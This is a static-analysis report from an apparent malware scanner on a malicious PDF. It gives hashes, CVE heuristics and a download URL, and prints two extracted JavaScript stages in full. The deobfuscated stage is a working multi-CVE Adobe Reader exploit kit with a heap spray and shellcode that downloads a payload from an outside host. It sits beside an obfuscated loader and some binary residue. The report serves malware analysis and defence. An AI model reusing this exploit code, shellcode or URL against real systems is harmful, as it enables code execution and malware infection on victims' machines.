Malicious PDF — malware analysis report

Static analysis result for SHA-256 c354f3c04f5b586b…

MALICIOUS

PDF

10.4 KB First seen: 2026-05-11
MD5: e800b837d10303461e7d086b7d8e3baf SHA-1: 6c64ee4d2352d000b5e47a534c003313e6ab946d SHA-256: c354f3c04f5b586b1ceea950c9785144e44c99caeedcc47f2c4d2a40581097c6
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript stream is the primary mechanism for delivering the malicious payload, likely involving the download and execution of further malware. The document body contains a large amount of seemingly random text, which is common in obfuscated or decoy content within malicious documents.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mainnetsoll.com/grep/load.php?spl=pdf_2020 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2367 2174 bytes
SHA-256: 18849879bfcc18ec9de5e54eb51ede905ca1ac778d85a7e125b6c1152273d386
Preview script
First 1,000 lines of the extracted script
var googleGoogle		=		this		;				var unlock		=		[		"a"		,		"e"		,		"v"		,		""		,		"l"		];		mail		=		new		 String		(		unlock		[		1		]		+		unlock		[		2		]		+		unlock		[		0		]		+		unlock		[		4		]		+		unlock		[		3		]		)		;				var send		=		[		""		,		"getPa"		,		"geNth"		,		"Word"		];		google		=		new		 String		(		send		[		1		]		+		send		[		2		]		+		send		[		3		]		+		send		[		0		]		)		;				var b		=		[		"rds"		,		"mWo"		,		"get"		,		"Pag"		,		"eNu"		,		""		];		unlockEdit		=		new		 String		(		b		[		2		]		+		b		[		3		]		+		b		[		4		]		+		b		[		1		]		+		b		[		0		]		+		b		[		5		]		)		;				var bEdit		=		[		"p"		,		"s"		,		"n"		,		"e"		,		""		,		"a"		,		"c"		,		"u"		,		"e"		];		a		=		new		 String		(		bEdit		[		7		]		+		bEdit		[		2		]		+		bEdit		[		3		]		+		bEdit		[		1		]		+		bEdit		[		6		]		+		bEdit		[		5		]		+		bEdit		[		0		]		+		bEdit		[		3		]		+		bEdit		[		4		]		)		;				var aMail		=		[		""		,		"t"		,		"rCo"		,		"deA"		,		"cha"		];		mailD		=		new		 String		(		aMail		[		4		]		+		aMail		[		2		]		+		aMail		[		3		]		+		aMail		[		1		]		+		aMail		[		0		]		)		;				var googleA		=		[		"fromC"		,		""		,		"de"		,		"harCo"		];		mailSend		=		new		 String		(		googleA		[		0		]		+		googleA		[		3		]		+		googleA		[		2		]		+		googleA		[		1		]		)		;				var d		=		[		""		,		"p"		,		"p"		,		"a"		];		googleD		=		new		 String		(		d		[		3		]		+		d		[		1		]		+		d		[		1		]		+		d		[		0		]		)		;						var		 cEdit		=		"am8%".substr(3)		;		var		 c		=		2		;		var		 bEditC		=		String		;		var		 bB		=		0		;		var		 aB		=		254		;		var		 googleD		=		googleGoogle		[		googleD		]		;		var		 get		=		2		;		var		 googleASend		=		googleGoogle		[		a		]		;		var		 aBB		=		googleGoogle		[		unlockEdit		]		(		get		)		;		var		 edit		=		""		;				for		(		var		 mailGoogle		=		bB		;		mailGoogle		<		aBB		;		mailGoogle		+=		1		)		{				mailEdit=googleGoogle		[		google		]		(		get		,		mailGoogle		)		;		var		 googleDD		=		mailEdit		.		substr		(		mailEdit		.		length		-		c		,		c		)		;		var		 getA		=		googleASend		(		cEdit		+		googleDD		)		;		var		 unlockGet		=		getA		[		mailD		]		(		bB		)		;		var		 bGet		=		unlockGet		^		aB		;		edit		+=		bEditC		[		mailSend		]		(		bGet		)		;		}		this		[		mail		]		(		edit		)		;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3471 bytes
SHA-256: bef7321e945ef515c0dd8a9e34a9f5c76d9a303a27d30cbe95a2ae04e2706715
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://mainnetsoll.com/grep/load.php?spl=pdf_2020  */
var _u="http://mainnetsoll.com/grep/load.php?spl=pdf_2020 ";
40 R00 RRP 0 400  0 00   00S 00S0 P 0P R4
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

4 00$0  S0 SSS 0S0 S0  0 S S  S0 S   S00 SS$SS   SS S0      EE#E ��

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